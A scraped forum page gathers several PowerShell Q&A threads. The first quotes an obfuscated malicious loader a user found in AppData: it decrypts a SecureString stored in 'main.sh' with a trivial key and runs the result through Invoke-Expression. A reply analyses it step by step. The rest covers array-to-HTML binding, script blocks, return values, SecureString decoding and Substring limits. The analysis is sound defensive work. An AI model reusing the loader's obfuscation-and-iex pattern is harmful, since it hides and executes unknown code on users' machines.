Windows PowerShell Malicious script - powershell

I found this code in a folder into %appdata%Roaming :(
Can anybody tell me wat it does?
try{Get-Transaction:Test-Connection
New-WindowsImage:Register-ArgumentCompleter
Get-HgsTrace:Set-VMMigrationNetwork}catch{
$sexq="pZsvjJoFqppwjeLWZTreMIrzqZarktnOJMwsddyKhIBlweDpKblExIlrlfWkOVsb" -replace "IoG|ZsvjJ|Fqpp|jeLWZTr|MIrzqZa|ktnOJMw|ddyK|IBlw|DpKb|ExIlr|fWkOVsb";
try{Save-VM:Get-Variable
Set-RuleOption:Get-WindowsSearchSetting
Remove-PSReadLineKeyHandler:Remove-VMResourcePool}catch{}
$ILRorUyZk=Get-Process $sexq;
if ($ILRorUyZk.length -lt 2){
$uMBOKUgyzWiOSfp=#(1..16);
$HXZBX=[System.Runtime.InteropServices.Marshal]
$iuOpORc= Get-Content "main.sh"
$kvsqQjipalHpywxaPr= ConvertTo-SecureString $iuOpORc -key $uMBOKUgyzWiOSfp;
$reEFPHvZmrf = $HXZBX::SecureStringToBSTR($kvsqQjipalHpywxaPr);
try{Remove-ItemProperty:Show-WindowsDeveloperLicenseRegistration
Connect-WSMan:Confirm-SecureBootUEFI
Revoke-VMConnectAccess:Suspend-VMReplication}catch{$upd='LmzXprwH';}
$zcthAxqVWAZrzkx = $HXZBX::PtrToStringAuto($reEFPHvZmrf);
try{Move-Item:Find-Package
Update-FormatData:Invoke-Item
ForEach-Object:New-TlsSessionTicketKey}catch{}
$zcthAxqVWAZrzkx -replace "UGSttylIkwIFr" | iex;}}
Thank you!

Let's see. The first try-catch might be obfuscation to hide from cursory examination. The catch (pun intended) is in the the catch block. It contains the payload, so the try block is intended to throw an exception.
$sexq="pZsvjJoFqppwjeLWZTreMIrzqZarktnOJMwsddyKhIBlweDpKblExIlrlfWkOVsb" `
-replace "IoG|ZsvjJ|Fqpp|jeLWZTr|MIrzqZa|ktnOJMw|ddyK|IBlw|DpKb|ExIlr|fWkOVsb";
The variable contains obfuscated word powershell, which is revealed by replacing a lot of nonsense strings with nothing. There is -replce with search argument but not replacement argument, thus it just removes fillers IoG, ZsvjJ...
$ILRorUyZk=Get-Process $sexq;
if ($ILRorUyZk.length -lt 2){
$uMBOKUgyzWiOSfp=#(1..16);
Here Get-Process is used to find if Powershell is running. If multiple processes aren't being run, create an array containing values 1-16. This might be to avoid situations in which interactive sessions are active.
$HXZBX=[System.Runtime.InteropServices.Marshal]
Create an alias to InterOpServices' Marshal. Nothing troublesome here, legitimate use is to save in typing and reading long namespace descriptors.
$iuOpORc= Get-Content "main.sh"
$kvsqQjipalHpywxaPr= ConvertTo-SecureString $iuOpORc -key $uMBOKUgyzWiOSfp;
A file main.sh is read. It contains a SecureString, encrypted with key 1,2,3...,15,16.
$reEFPHvZmrf = $HXZBX::SecureStringToBSTR($kvsqQjipalHpywxaPr);
SecureString payload is converted to BSTR. This is to decrypt the SecureString, I guess.
try{Remove-ItemProperty:Show-WindowsDeveloperLicenseRegistration
Connect-WSMan:Confirm-SecureBootUEFI
Revoke-VMConnectAccess:Suspend-VMReplication}catch{$upd='LmzXprwH';}
Another "let's hide in the catch block" that sets a variable with nonsense content. No idea why.
$zcthAxqVWAZrzkx = $HXZBX::PtrToStringAuto($reEFPHvZmrf);
try{Move-Item:Find-Package
Update-FormatData:Invoke-Item
ForEach-Object:New-TlsSessionTicketKey}catch{}
Another a step in decryption, followed by weird stuff in another try-catch block without obvious intent.
$zcthAxqVWAZrzkx -replace "UGSttylIkwIFr" | iex;}}
The final payload from SecureString conversion is filtered to remove obfuscation, and the result is passed for execution to Invoke-Expression.
To see what's the payload, do as per Jeramy's comment. Replacing variable names to a bit more descriptive:
$key=#(1..16)
$encryptedStr = Get-Content "main.sh"
$secString = ConvertTo-SecureString $encryptedStr -key $key
$bstrPtr = $HXZBX::SecureStringToBSTR($secString)
$obfuscatedStr = $HXZBX::PtrToStringAuto($bstrPtr)
$obfuscatedStr -replace "UGSttylIkwIFr"

Related

How to bind an array to an HTML tag in powershell?

Below is a snip of my powershell code where my response or my variable($witrevisions) is of type array. I am looking to bind this in a html tag which i have defined in the power shell. As I am very new to coding stuff , I am looking the ways how can I bind array to html tag in best possible way
...continuing my line of code
$response4s = (Invoke-RestMethod -Uri $uriAccount -Method get -Headers $AzureDevOpsAuthenicationHeader).values
$wits = $response4s | where({$_.fields.'System.WorkItemType' -eq 'Task'}) # Only retrieve Tasks
$witrevisions = #()
foreach($wit in $response4s){
$customObject = new-object PSObject -property #{
"Title" = $wit.fields.'System.Title'
"AssignedTo" = $wit.fields.'System.AssignedTo'
}
$witrevisions += $customObject
}
$witrevisions | Select-Object `
Title,
AssignedTo
}
and this the sample response i am getting in $witrevisions which i have exported in text file. its a table with two column one having emails and other having a title name.i have tried to show by giving it a table view for better understanding
Assigned To Title
xyz#outlook.com testingpro
drdr#outlook.com resttesting
and here is the html tag where I trying to bind the $witrevisions.
$DOWNLOAD_PAGE_BODY_CONTENT = "<!DOCTYPE html>
`n<html>
`n<head>
`n <title>Validation</title>
`n</head>
`n<body>
`n
`n<p>Please click the link to download the release.</p>
`n<p></p>
`n<p></p>
`n<p>$witrevisions</p>
`n</body>
`n</html>
`n"
Can someone please tell me how should I do this??
Here is an example of some code that would take your array and emit a table, with an explanation to help you tweak to your specific needs:
"<table><body>$($witrevisions|% {"<tr><td>$($_.Title)</td><td>$($_.AssignedTo)</td></tr>"} )</body></table>"
The double quotes are important because they allow string interpolation (it will replace variables with this value, versus being read a plain text. E.g. '[' + $test + ']' => "[$test]"
If you need to do more complex logic in string interpolation, you can use $(...), the ellipses being regular code.
You can iterate through an array by piping to the ForEach-Object, or it's alias %. All the code in the braces will be executed for each item in the array. The current items is represented by $_.
We're then back to string interpolation and using $(...), which is needed to access the members of the current item.
Note: There are several other ways to accomplish (functionally) the same thing. E.g. foreach(...){} vs |%{...}, so feel free to use a different technique if you are more comfortable with doing something a different way.

Is there a "function-like-thing" that can act as a template?

I have a code like this that is repeated multiple times in each of my conditional statements/cases. i have 3 conditions...for now, and everything works perfectly, but im mulling reformatting the script for easier reading.
One of the ways ive thought is to make a function, but the problem is that, i have a while loop that is intended for a specific scenario in each conditional statement that dequeues from a Queue containing some column names from a file.
so based on the code below that i want to put in some sort of template, i cant think of how this could work because as you can see, $tb stands for $table, which is what im opening prior to the conditional statements in my code.
if i were to include everything regarding the server connection and table in a function, that means when i pass the "function" containing the code to the while loops, it will be creating/instantiating the table every iteration, which wont make sense and wont work anyways.
so i am thinking of using something like annotations, something like a template which wont expect to return anything or need reasonable arguments like a function otherwise would. The question is, does something like that exist?
This is the code that is the same across all my while loops that i would like to "store" somewhere and just pass it to them:
$dqHeader = $csvFileHeadersQueue.Dequeue()
$column = New-Object Microsoft.SqlServer.Management.Smo.Column($tb, $dqHeader, $DataType1)
if ($dqHeader -in $PrimaryKeys)
{
# We require a primary key.
$column.Nullable = $false
#$column.Identity = $true #not needed with VarChar
#$column.IdentitySeed = 1 #not needed with VarChar
$tb.Columns.Add($column)
$primaryKey = New-Object Microsoft.SqlServer.Management.Smo.Index($tb, "PK_$csvFileBaseName")
$primaryKey.IndexType = [Microsoft.SqlServer.Management.Smo.IndexType]::ClusteredIndex
$primaryKey.IndexKeyType = [Microsoft.SqlServer.Management.Smo.IndexKeyType]::DriPrimaryKey #Referential Integrity to prevent data inconsistency. Changes in primary keys must be updated in foreign keys.
$primaryKey.IndexedColumns.Add((New-Object Microsoft.SqlServer.Management.Smo.IndexedColumn($primaryKey, $dqHeader)))
$tb.Indexes.Add($primaryKey)
}
else
{
$tb.Columns.Add($column)
}
think of it like a puzzle piece that would fit right in when requested to do so in the while loops to complete that "puzzle"
As per comment:
you can share a (hardcoded) [ScriptBlock] ($template = {code in post goes here}) with a While loop (or function) and invoke it with e.g. Invoke-Command $template or the call operator: &$template. Dynamically modifying an expression and using commands like Invoke-Expression or [ScriptBlock]::Create() is not a good idea due to risk of malicious code injections (see: #1454).
You might even add parameters to your shared [ScriptBlock], like:
$Template = {
[CmdletBinding()]Param ($DataType)
$column = New-Object Microsoft.SqlServer.Management.Smo.Column($tb, $dqHeader, $DataType)
...
}
ForEach ($MyDataType in #('MyDataType')) {
Invoke-Command $Template -ArgumentList $MyDataType
}
But the counter-question remains: Why not just creating a "helper" function?:
Function template($DataType) {
$column = New-Object Microsoft.SqlServer.Management.Smo.Column($tb, $dqHeader, $DataType)
...
}
ForEach ($MyDataType in #('MyDataType')) {
template $MyDataType
}

Explicit Return in Powershell

I can write the following code in javascript:
function sum(num1, num2) {
return num1 + num2;
}
and then get a value
var someNum = sum(2,5);
I would like to do the same thing in Powershell, but I read the following guide:
PowerShell also knows the return keyword; however, it follows a
different logic. In general, the purpose of return is to end the
execution of a code section and to give the control back to the parent
block.
If you add a parameter to the return statement, the value will indeed
be returned to the calling subroutine. However, this also applies for
all other statements with an output. This means that any output
produced in the function will be stored in the variable together with
the return parameter.
I want to do this for the sake of having pure functions. However, it seems doing
var someNum = sum(2,5);
is entirely redundant, when I can just call the function above, define someNum inside of it, and it will be available in the global scope.
Am I missing something or is it possible to write pure functions in Powershell that don't return everything inside the function?
A bit tangential, but here is my actual code:
function GetPreviousKeyMD5Hashes() {
$query = "SELECT Name, MD5, executed FROM [AMagicDb].[dbo].cr_Scripts";
$command = New-Object System.Data.SQLClient.SQLCommand;
$command.Connection = $connection;
$command.CommandText = $query;
try {
$reader = $command.ExecuteReader();
while ($reader.Read()) {
$key = $reader.GetString(1)
$previousScripts.Add($key) | Out-Null
}
$reader.Close();
Write-Output "$(Get-Date) Finished querying previous scripts"
}
catch {
$exceptionMessage = $_.Exception.Message;
Write-Output "$(Get-Date) Error running SQL at with exception $exceptionMessage"
}
}
and then:
$previousScripts = New-Object Collections.Generic.HashSet[string];
GetPreviousKeyMD5Hashes;
This code isn't clear to me at all - running GetPreviousKeyMD5Hashes does set $previousScripts, but this is entirely unclear to whoever modifies this after me. My only other alternative (afaik) is to have all this in line, which also isn't readable.
is entirely redundant, when I can just call the function above, define someNum inside of it, and it will be available in the global scope.
No: functions execute in a child scope (unless you dot-source them with .), so variables created or assigned to inside a function are local to it.
Am I missing something or is it possible to write pure functions in Powershell that don't return everything inside the function?
Yes: The implicit output behavior only applies to statements whose output is neither captured - $var = ... - nor redirected - ... > foo.txt
If there are statements that happen to produce output that you'd like to discard, use $null = ... or ... > $null
Note: ... | Out-Null works in principle too, but will generally perform worse, especially in earlier PowerShell versions - thanks, TheIncorrigible1.
If there are status messages that you'd like to write without their becoming part of the output, use Write-Host or, preferably Write-Verbose or, in PSv5+, Write-Information, though note that the latter two require opt-in for their output to be visible in the console.
Do NOT use Write-Output to write status messages, as it writes to the success output stream, whose purpose is to output data ("return values").
See this answer of mine for more information about PowerShell's output streams.
The equivalent of your JavaScript code is therefore:
function sum($num1, $num2) {
Write-Host "Adding $num1 and $num2..." # print status message to host (console)
$num1 + $num2 # perform the addition and implicitly output result
}
PS> $someNum = sum 1 2 # NOTE: arguments are whitespace-separated, without (...)
Adding 1 and 2... # Write-Host output was passed through to console
PS> $someNum # $someNum captured the success output stream of sum()
3
Am I missing something or is it possible to write pure functions in Powershell that don't return everything inside the function?
You can't have your cake and eat it too...
If you have no out put in your function, then it is "pure" like you desire. If you have output, that also becomes part of the return.
You can use [ref] params. See below for example.
function DoStuff([ref]$refObj)
{
Write-Output "DoStuff: Enter"
$refObj.Value += $(1 + 2)
$refObj.Value += "more strings"
Write-Output "DoStuff: Exit"
}
$refRet = #()
$allRet = DoStuff([ref]$refRet)
"allRet"
$allRet
"refRet"
$refRet
"`n`nagain"
$allRet = DoStuff([ref]$refRet)
"allRet"
$allRet
"refRet"
$refRet
Note: Powershell doesn't need semicolons at the end of each statement; only for separating multiple statements on the same line.
Whenever possible, it's a good idea to avoid changing global state within a function. Pass input as parameters, and return the output, so you aren't tied to using the function in only one way. Your sample could look like this:
function sum
{
param($num1,$num2)
return $num1+$num2
}
$somenum=sum 2 5
Now, with Powershell, the return statement isn't needed. The result of every statement that isn't otherwise assigned, captured, redirected, or otherwise used, is just thrown in with the return value. So we could replace the return statement above with simply
$num1+$num2
You're already making use of this in your code with:
$previousScripts.Add($key) | Out-Null
where you are discarding the result of .Add(). Otherwise it would be included in the return value.
Personally, I find using return to explicitly mark the return value makes it easier to read. Powershell's way of putting all if the output in the return caused a lot of trouble for me as I was learning.
So, the only fixes to your code I would make are:
Move $previousScripts = New-Object Collections.Generic.HashSet[string] to inside the function, making it local.
Add return $previousScripts to the end of the function.

Powershell: Safely Decoding SecureString

Please lay your expert opinion on the security of these two scripts:
[Note: The output of these two scripts will be pipelined. They will not be assigned to any variable."]
First :
Function GetFrom-SecureString([SecureString]$SecureString) {
[IntPtr]$valuePtr = [IntPtr]::Zero
try {
$valuePtr = [Runtime.InteropServices.Marshal]::SecureStringToGlobalAllocUnicode($SecureString)
return [Runtime.InteropServices.Marshal]::PtrToStringUni($valuePtr);
}
finally {
[Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($valuePtr);
}
}
Second :
Function Decode-SecureString([SecureString]$SecureString){
try{
$bstr = [Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString)
$length = [Runtime.InteropServices.Marshal]::ReadInt32($bstr, -4)
for ( $i = 0; $i -lt $length; ++$i ) {
[CHAR][Runtime.InteropServices.Marshal]::ReadByte($bstr, $i)
}
}
finally{
if ( $bstr -ne [IntPtr]::Zero ) {
[Runtime.InteropServices.Marshal]::ZeroFreeBSTR($bstr)
}
}
}
I know that its not secure to use $cred.GetNetworkCredential().Password because it converts the securestring to the memory first, and many have pointed out to me to use marshalling. So, I have constructed the above two scripts as trial and I would like to know if there's anything reckless maneuver in these two scripts.
Edit:
I have updated my second string to clean up the BSTR by implementing :
finally{
if ( $bstr -ne [IntPtr]::Zero ) {
[Runtime.InteropServices.Marshal]::ZeroFreeBSTR($bstr) #Frees the BSTR.
}
}
However, the returned values captured in the pipeline seem to be not at all secure since it is in the memory too until its cleaned up.
[Note: I haven't yet programmed the script which will accept the pipelined values.]
The very point of using a securestring seems to be destroyed by decrypting it back to plaintext. As if we should never decrypt the securestring. Correct me if I am wrong.
The chosen decryption technique does not matter, since you're still converting to plaintext.
Even when the secret is in memory only for a short period of time, what's preventing me from using debugging techniques to read it from memory?
PowerShell has an integrated debugger that can step into code and inspect variables (Wait-Debugger).
Script output using variables, parameters or pipeline can be intercepted by overriding/redefining commandlets, using aliassses or other mocking techniques.
You are also vulnerable for unexpected disclosures, for example when the script you pass the secret into is logging it when using -Verbose etc..
Using the pipeline or a direct variable doesn't matter in this aspet. Neither is inherently safer, both require / result in having the secret in plain text in memory.
I would look for an option to specify the secret value encrypted to the target, bypassing the need for decryption at all.

Powershell - $var.ToString(x,y) issue

for a user creation scrip in powershell i'm using textbox object to fill the information of the new user (family name, first name)
I return a value like that:
$TextlabelUsername.text = $Textbox1.text.ToString().Substring(0,5)
Which apply on a button click.
But using that methode if one of my string value is less then 5 caracters the script return an error that the string is not enough long.
Is there a way to select 5 or less caracters or an other method to process ?
Try this:
$str = $Textbox1.text.ToString()
$TextlabelUsername.text = $str.Substring(0, [math]::Min(5, $str.Length))
There is nothing wrong with Ansgar Wiecher's method. Here is an alternative though:
$TextLabelUserName.Text = $Textbox1.Text.ToString() -replace '(.{0,5}).*', '$1'